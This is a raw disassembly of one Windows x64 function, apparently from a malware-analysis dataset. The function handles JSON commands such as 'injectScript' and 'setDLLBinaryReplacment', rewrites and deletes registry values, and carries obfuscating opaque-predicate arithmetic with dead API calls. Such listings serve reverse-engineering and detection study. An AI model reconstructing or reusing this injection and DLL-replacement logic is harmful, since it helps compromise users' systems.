Function at 0x140051fac
Capabilities:
Check for time delay via gettickcount
Create http request
Delete registry key
Delete registry value
Get disk size
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x63b0
call fcn.1400c29d0
sub rsp, rax
mov qword [rsp + 0xe48], 0xfffffffffffffffe
mov rax, qword [0x1401a2e90]
xor rax, rsp
mov qword [rsp + 0x63a0], rax
mov r14, r8
mov rbx, rdx
mov qword [rsp + 0x48], rdx
mov r13, rcx
mov qword [rsp + 0x378], rcx
mov qword [rsp + 0x170], rdx
mov qword [rsp + 0x3a8], r8
mov r8d, dword [0x1401aad80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
xor edi, edi
lea r15d, [rdi + 1]
cmp ecx, 9
jne 0x140052060
mov r9d, edi
test r8d, r8d
je 0x140052059
mov ecx, r8d
and ecx, r15d
add r9d, ecx
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
jne 0x140052043
mov dword [0x1401aad80], r9d
mov byte [rsp + 0x40], dil
mov eax, dword [rsp + 0x68]
and eax, 0xffffff00
mov dword [rsp + 0x68], eax
btr eax, 8
mov dword [rsp + 0x68], eax
mov qword [rsp + 0x70], rdi
lea rcx, [rsp + 0x4ce0]
call fcn.14002c320
nop
mov rdx, qword [rbx]
mov qword [rsp + 0xef0], rdx
lea rcx, [rsp + 0x78]
call fcn.140018bd8
nop
mov rdx, qword [rsp + 0x78]
lea rax, [rdx - 0x18]
mov qword [rsp + 0xf00], rax
cmp dword [rax + 0x10], r15d
jle 0x1400520cc
mov edx, dword [rax + 8]
lea rcx, [rsp + 0x78]
call fcn.1400198f4
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x4be0], rdi
mov qword [rsp + 0x4be8], rdi
mov ebx, 0xf
mov qword [rsp + 0x4be8], rbx
mov qword [rsp + 0x4be0], rdi
mov byte [rsp + 0x4bd0], dil
or rsi, 0xffffffffffffffff
cmp byte [rdx], dil
jne 0x140052107
mov r8, rdi
jmp 0x140052113
mov r8, rsi
inc r8
cmp byte [rdx + r8], dil
jne 0x14005210a
lea rcx, [rsp + 0x4bd0]
call fcn.1400013c8
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x4bd0]
lea rcx, [rsp + 0x4ce0]
call fcn.14002c418
test al, al
jne 0x140052224
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x408]
call fcn.140002df8
nop
lea rdx, [rsp + 0x408]
mov rcx, qword [r13 + 0x40]
call fcn.14004d1ec
nop
mov rcx, qword [rsp + 0x408]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x520], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005219d
mov rdx, qword [rsp + 0x520]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4be8], 0x10
jb 0x1400521b5
mov rcx, qword [rsp + 0x4bd0]
call fcn.1400bd904
mov qword [rsp + 0x4be8], rbx
mov qword [rsp + 0x4be0], rdi
mov byte [rsp + 0x4bd0], dil
mov rcx, qword [rsp + 0x78]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x758], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400521fd
mov rdx, qword [rsp + 0x758]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4ce0]
call fcn.14001723c
nop
lea rcx, [rsp + 0x60]
call fcn.14002f88c
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140057cfe
cmp byte [rsp + 0x68], dil
jne 0x140052310
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x3b8]
call fcn.140002df8
nop
lea rdx, [rsp + 0x3b8]
mov rcx, qword [r13 + 0x40]
call fcn.14004d1ec
nop
mov rcx, qword [rsp + 0x3b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x530], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052289
mov rdx, qword [rsp + 0x530]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4be8], 0x10
jb 0x1400522a1
mov rcx, qword [rsp + 0x4bd0]
call fcn.1400bd904
mov qword [rsp + 0x4be8], rbx
mov qword [rsp + 0x4be0], rdi
mov byte [rsp + 0x4bd0], dil
mov rcx, qword [rsp + 0x78]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x878], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400522e9
mov rdx, qword [rsp + 0x878]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4ce0]
call fcn.14001723c
nop
lea rcx, [rsp + 0x60]
call fcn.14002f88c
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140057cfe
lea rdx, str.action
lea rcx, [rsp + 0x60]
call fcn.140030290
mov qword [rsp + 0xf10], rax
lea r12, [0x1401abee0]
cmp rax, r12
je 0x140057c02
lea rdx, str.action
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xf20], rax
cmp byte [rax + 8], 4
jne 0x140057c02
lea rbx, str.param
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.140030290
lea rdx, str.action
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xf30], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf40], rdx
lea rcx, [rsp + 0x50]
call fcn.140002df8
nop
lea rdx, str.injectScript
mov rcx, qword [rsp + 0x50]
call fcn.1400d1908
mov dword [rsp + 0x858], eax
test eax, eax
jne 0x1400531a1
mov eax, dword [0x1401aad80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 0xf
jne 0x1400523ff
mov dword [rsp + 0x1e20], edi
mov dword [rsp + 0x29f0], edi
mov dword [rsp + 0x3f80], edi
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0x998], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0x10a8], rax
cmp byte [rax + 8], 4
jne 0x140053131
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0x9a8], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xda8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x9b8], rdx
lea rcx, [rsp + 0x98]
call fcn.140002df8
nop
mov rax, qword [rsp + 0x98]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x4c0], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400be45c
mov r10, rax
mov qword [rsp + 0x130], rax
mov r8d, dword [0x1401aad80]
lea r9d, [r8 + 2]
lea ecx, [r8 + 1]
imul r9d, ecx
imul r9d, r8d
mov eax, 0x78787879
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
mov eax, r9d
sub eax, edx
cmp eax, 0xf
jne 0x140052554
and r9d, 0x8000000f
jge 0x1400524ed
sub r9d, r15d
or r9d, 0xfffffff0
add r9d, r15d
cmp r9d, 0xf
jne 0x140052529
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov r8d, dword [0x1401aad80]
mov r10, qword [rsp + 0x130]
mov ecx, r15d
mov dword [rsp + 0x2a8], ecx
cmp ecx, r8d
jge 0x14005254b
mov eax, r8d
cdq
idiv ecx
inc ecx
add ecx, edx
mov dword [rsp + 0x2a8], ecx
jmp 0x140052533
mov r8d, ecx
mov dword [0x1401aad80], ecx
test r10, r10
je 0x140052f65
mov r8, r10
lea rdx, [rsp + 0x98]
call fcn.140057de4
mov r8d, dword [0x1401aad80]
test al, al
je 0x140052f65
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub ecx, edx
cmp ecx, 0xa
jne 0x140052615
movsd xmm3, qword [0x14013f170]
movsd qword [rsp + 0x540], xmm3
xorps xmm2, xmm2
movsd qword [rsp + 0x3c8], xmm2
movd xmm4, r8d
cvtdq2pd xmm4, xmm4
addsd xmm2, xmm3
movsd qword [rsp + 0x3c8], xmm2
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x1400525fd
subsd xmm2, xmm3
movsd qword [rsp + 0x3c8], xmm2
divsd xmm3, qword [0x14013f198]
movsd qword [rsp + 0x540], xmm3
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmmword [0x14013f168]
ja 0x1400525c5
mov r12, qword [r13 + 0x40]
mov ebx, 0x1b8
add r12, rbx
mov qword [rsp + 0x1008], r12
mov rcx, qword [r12]
mov qword [rsp + 0x9c8], rcx
mov edx, 0x5c
call fcn.1400c0294
mov rcx, rax
mov qword [rsp + 0xdb8], rax
test rax, rax
jne 0x140052653
mov ecx, esi
jmp 0x140052665
mov rax, qword [r12]
mov qword [rsp + 0x9d8], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [r13 + 0x40]
add rcx, rbx
lea rdx, [rsp + 0xc8]
call fcn.14002358c
nop
mov rdx, qword [r13 + 0x40]
add rdx, rbx
lea rcx, [rsp + 0x1b8]
call fcn.140002d5c
nop
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [r13 + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x250], eax
test eax, eax
je 0x14005286d
mov eax, dword [0x1401aad80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0xb21642c9
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub ecx, edx
mov eax, dword [0x1401acc58]
mov edx, 0x5fedeabc
cmp ecx, 0xe
cmove eax, edx
mov dword [0x1401acc58], eax
test r14, r14
je 0x140052719
mov r12d, 0xb
mov word [r14], r12w
mov word [r14 + 8], di
mov rcx, qword [rsp + 0x1b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x768], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005274c
mov rdx, qword [rsp + 0x768]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xc8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x550], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005277f
mov rdx, qword [rsp + 0x550]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x98]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x908], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400527b2
mov rdx, qword [rsp + 0x908]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x560], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400527e2
mov rdx, qword [rsp + 0x560]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4be8], 0x10
jb 0x1400527fa
mov rcx, qword [rsp + 0x4bd0]
call fcn.1400bd904
mov qword [rsp + 0x4be8], 0xf
mov qword [rsp + 0x4be0], rdi
mov byte [rsp + 0x4bd0], dil
mov rcx, qword [rsp + 0x78]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x778], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052846
mov rdx, qword [rsp + 0x778]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4ce0]
call fcn.14001723c
nop
lea rcx, [rsp + 0x60]
call fcn.14002f88c
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140057cfe
mov rbx, qword [r13 + 0x40]
add rbx, 0x2d0
mov qword [rsp + 0x118], rbx
mov qword [rsp + 0x1a8], rbx
lea rdx, str.param
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0x10e8], rax
lea rdx, str.forceOverwrite
mov rcx, rax
call fcn.140030290
mov qword [rsp + 0x9e8], rax
lea rcx, [0x1401abee0]
cmp rax, rcx
je 0x140052bc0
lea rcx, [0x1401a29a8]
mov rax, qword [0x1401a29a8]
call qword [rax + 0x18]
mov qword [rsp + 0xdc8], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x140], rbx
mov r8d, dword [0x1401aad80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub ecx, edx
mov edx, 7
cmp ecx, edx
jne 0x140052929
test r8d, r8d
cmove r8d, r15d
mov dword [0x1401aad80], r8d
mov eax, edi
mov dword [rsp + 0x120], eax
mov edx, edi
mov dword [rsp + 0x84], edx
mov r12d, 0x7ffe
test eax, eax
jne 0x140052b86
mov dword [rsp + 0x1b0], r12d
lea rax, [rbx - 0x18]
mov qword [rsp + 0x9f8], rax
mov ecx, r15d
sub ecx, dword [rax + 0x10]
mov dword [rsp + 0x728], ecx
mov eax, dword [rax + 0xc]
sub eax, r12d
mov dword [rsp + 0x4d0], eax
or eax, ecx
jge 0x14005299a
mov edx, r12d
lea rcx, [rsp + 0x140]
call fcn.140002210
mov rbx, qword [rsp + 0x140]
mov edx, dword [rsp + 0x84]
cmp dword [rbx - 0xc], r12d
jge 0x1400529aa
mov ecx, 0x80070057
call fcn.140001874
mov dword [rbx - 0x10], r12d
mov word [rbx + 0xfffc], di
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x1b0]
mov r8, rbx
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov dword [rsp + 0x120], eax
movsxd rax, dword [rbx - 0xc]
mov dword [rsp + 0x8f8], eax
mov rdx, rax
mov rcx, rbx
call fcn.1400be514
mov dword [rsp + 0x4e0], eax
test eax, eax
js 0x140052b7c
cmp eax, dword [rbx - 0xc]
jg 0x140052b7c
mov dword [rbx - 0x10], eax
cdqe
mov word [rbx + rax*2], di
mov rax, qword [rsp + 0x118]
mov dword [rax], edi
lea r8, str._data
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x570]
call fcn.140019018
mov qword [rsp + 0x10f8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xa08], rdx
test rdx, rdx
jne 0x140052a62
mov eax, esi
jmp 0x140052a8b
mov eax, dword [rbx - 0x10]
mov dword [rsp + 0x738], eax
test eax, eax
js 0x140052a5e
mov rcx, rbx
call fcn.1400be6e4
mov qword [rsp + 0xdd8], rax
test rax, rax
je 0x140052a5e
sub rax, rbx
sar rax, 1
mov dword [rsp + 0xa4], eax
cmp eax, esi
setne byte [rsp + 0x80]
mov rcx, qword [rsp + 0x570]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x888], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052ace
mov rdx, qword [rsp + 0x888]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp byte [rsp + 0x80], dil
je 0x140052b3e
mov eax, dword [0x1401aad80]
imul eax, eax
and eax, 0x80000007
jge 0x140052af1
sub eax, r15d
or eax, 0xfffffff8
add eax, r15d
cmp eax, 3
jne 0x140052afd
sub dword [0x1401acd48], r15d
mov dword [rsp + 0x84], edi
mov rbx, qword [rsp + 0x140]
mov rdx, rbx
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0x250], eax
test eax, eax
je 0x140052b59
test r14, r14
je 0x140052b86
mov r12d, 0xb
mov word [r14], r12w
mov word [r14 + 8], di
jmp 0x140052b8c
mov edx, dword [rsp + 0x84]
add edx, r15d
mov dword [rsp + 0x84], edx
mov rbx, qword [rsp + 0x140]
jmp 0x140052b60
mov edx, dword [rsp + 0x84]
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x118], rax
mov eax, dword [rsp + 0x120]
jmp 0x140052941
mov ecx, 0x80070057
call fcn.140001874
mov r12d, 0xb
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x580], rbx
mov eax, esi
lock xadd dword [rbx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052bb6
mov rdx, qword [rsp + 0x580]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x1a8]
jmp 0x140052bc6
mov r12d, 0xb
mov rax, qword [rsp + 0x98]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x4f0], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rcx, qword [rsp + 0x130]
mov rdx, rcx
call fcn.140051ef4
mov edx, dword [rbx]
lea eax, [rdx + 1]
mov dword [rbx], eax
lea rcx, [rsp + 0x4c60]
call fcn.140051b98
mov qword [rsp + 0xa18], rax
cmp qword [rax + 0x18], 0x10
jb 0x140052c16
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x978]
call fcn.140002df8
mov rbx, rax
lea r8, str._data
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x788]
call fcn.140019018
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x2c0]
call fcn.14000de60
nop
mov rcx, qword [rsp + 0x788]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x590], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052c8d
mov rdx, qword [rsp + 0x590]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x978]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052cc0
mov rdx, qword [rsp + 0x5a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4c78], 0x10
jb 0x140052cd8
mov rcx, qword [rsp + 0x4c60]
call fcn.1400bd904
mov qword [rsp + 0x4c78], 0xf
mov qword [rsp + 0x4c70], rdi
mov byte [rsp + 0x4c60], dil
mov rbx, qword [rsp + 0x130]
cmp byte [rsp + 0x40], dil
jne 0x140052d42
mov rax, qword [rsp + 0x98]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x868], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [0x1401aad80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 3
jne 0x140052d87
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea r8, [rsp + 0xf0]
lea rdx, [rsp + 0xc8]
mov rcx, r13
call fcn.140057f7c
mov r8d, dword [0x1401aad80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 9
jne 0x140052dfc
mov ecx, edi
mov dword [rsp + 0x1c0], ecx
movsxd rax, ecx
cmp rax, 0x8c
jae 0x140052dfc
mov eax, dword [rsp + rax*4 + 0x5030]
imul eax, eax, 0xb2
add r8d, eax
mov dword [0x1401aad80], r8d
add ecx, r15d
jmp 0x140052dce
mov rcx, rbx
call fcn.1400be3d8
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.140051cfc
test al, al
mov eax, dword [0x1401aad80]
jne 0x140052e2d
test eax, eax
cmove eax, r15d
mov dword [0x1401aad80], eax
test r14, r14
je 0x140052e3b
mov word [r14], r12w
mov word [r14 + 8], si
mov rcx, qword [r13 + 0x40]
cmp dword [rcx + 0x2d8], 3
jne 0x140052e58
mov dword [rcx + 0x2d8], 4
mov eax, dword [0x1401aad80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0x12
jne 0x140052e91
call fcn.1400be2e0
mov ecx, dword [0x1401aad80]
cmp ecx, eax
jne 0x140052e91
sub ecx, r15d
mov dword [0x1401aad80], ecx
mov rcx, qword [rsp + 0x2c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x798], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052ec4
mov rdx, qword [rsp + 0x798]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5b0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052ef7
mov rdx, qword [rsp + 0x5b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xc8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x898], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052f2a
mov rdx, qword [rsp + 0x898]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x98]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5c0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053131
mov rdx, qword [rsp + 0x5c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140053131
mov r9d, r8d
imul r9d, r8d
mov eax, 0x66666667
imul r9d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
mov edx, r9d
sub edx, ecx
cmp edx, 3
jne 0x14005302f
mov eax, 0x66666667
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub r9d, eax
cmp r9d, 2
jne 0x140052fec
mov r9d, edi
mov dword [rsp + 0x290], edi
test r8d, r8d
je 0x140052fe2
mov ecx, r8d
and ecx, r15d
add r9d, ecx
mov dword [rsp + 0x290], r9d
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov dword [0x1401aad80], eax
jmp 0x140052fb9
mov r8d, r9d
mov dword [0x1401aad80], r9d
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x7b
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400bcf98
mov qword [rsp + 0x1020], rax
mov rcx, rax
call fcn.1400be048
test r14, r14
je 0x140053043
mov r12d, 0xb
mov word [r14], r12w
mov word [r14 + 8], di
mov rcx, qword [rsp + 0x98]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7a8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053076
mov rdx, qword [rsp + 0x7a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5d0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400530a6
mov rdx, qword [rsp + 0x5d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4be8], 0x10
jb 0x1400530be
mov rcx, qword [rsp + 0x4bd0]
call fcn.1400bd904
mov qword [rsp + 0x4be8], 0xf
mov qword [rsp + 0x4be0], rdi
mov byte [rsp + 0x4bd0], dil
mov rcx, qword [rsp + 0x78]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x918], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005310a
mov rdx, qword [rsp + 0x918]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4ce0]
call fcn.14001723c
nop
lea rcx, [rsp + 0x60]
call fcn.14002f88c
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140057cfe
mov r8d, dword [0x1401aad80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x38e38e39
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
cmp ecx, 4
jne 0x140056d9d
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x63
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400bcf98
mov qword [rsp + 0xa28], rax
jmp 0x1400551d6
lea rdx, str.setDLLBinaryReplacment
mov rcx, qword [rsp + 0x50]
call fcn.1400d1908
mov dword [rsp + 0x500], eax
test eax, eax
jne 0x140054148
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xde8], rax
lea rdx, str.from
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xa38], rax
cmp byte [rax + 8], 4
jne 0x1400540bb
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0x10d8], rax
lea rdx, [0x14013e38c]
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xa48], rax
cmp byte [rax + 8], 4
jne 0x1400540bb
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xdf8], rax
lea rdx, str.offset
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xa58], rax
cmp byte [rax + 8], r15b
jne 0x1400540bb
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0x1030], rax
lea rdx, str.from
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xa68], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe08], rdx
lea rcx, [rsp + 0xb0]
call fcn.140002df8
nop
mov r8d, dword [0x1401aad80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub ecx, edx
cmp ecx, 6
jne 0x140053313
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x7b
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, rsi
